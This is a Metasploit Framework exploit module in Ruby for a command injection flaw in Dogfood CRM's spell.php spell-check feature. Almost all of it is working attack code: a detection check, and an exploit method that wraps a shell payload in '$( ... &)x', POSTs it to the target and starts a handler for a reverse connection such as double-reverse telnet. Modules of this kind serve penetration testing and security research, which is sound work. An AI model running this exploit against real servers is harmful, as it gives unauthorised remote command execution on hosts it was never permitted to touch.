metasploit-framework/modules/exploits/unix/webapp/dogfood_spell_exec.rb

97 lines
2.4 KiB
Ruby

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Dogfood CRM spell.php Remote Command Execution',
'Description' => %q{
This module exploits a previously unpublished vulnerability in the
Dogfood CRM mail function which is vulnerable to command injection
in the spell check feature. Because of character restrictions, this
exploit works best with the double-reverse telnet payload. This
vulnerability was discovered by LSO and affects v2.0.10.
},
'Author' =>
[
'LSO <lso[at]hushmail.com>', # Exploit module
'patrick', # Added check code, QA tested ok 20090303, there are no references (yet).
],
'License' => BSD_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'OSVDB', '54707' ],
[ 'URL', 'http://downloads.sourceforge.net/dogfood/' ],
],
'Privileged' => false,
'Platform' => ['unix'], # patrickw - removed win, linux -> untested
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'BadChars' => %q|'"`|, # quotes are escaped by PHP's magic_quotes_gpc in a default install
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
}
},
'Targets' => [ ['Automatic', { }], ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 03 2009'
))
register_options(
[
OptString.new('URIPATH', [ true, "The URI of the spell checker", '/dogfood/mail/spell.php']),
], self.class)
end
def check
res = send_request_raw(
{
'uri' => datastore['URIPATH'],
}, 1)
if (res.body =~ /Spell Check complete/)
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
def exploit
timeout = 1
cmd = payload.encoded
data = "data=#{Rex::Text.uri_encode('$( '+ cmd + ' &)x')}"
uri = datastore['URIPATH']
response = send_request_cgi(
{
'uri' => uri,
'method' => "POST",
'data' => data
},
timeout)
handler
end
end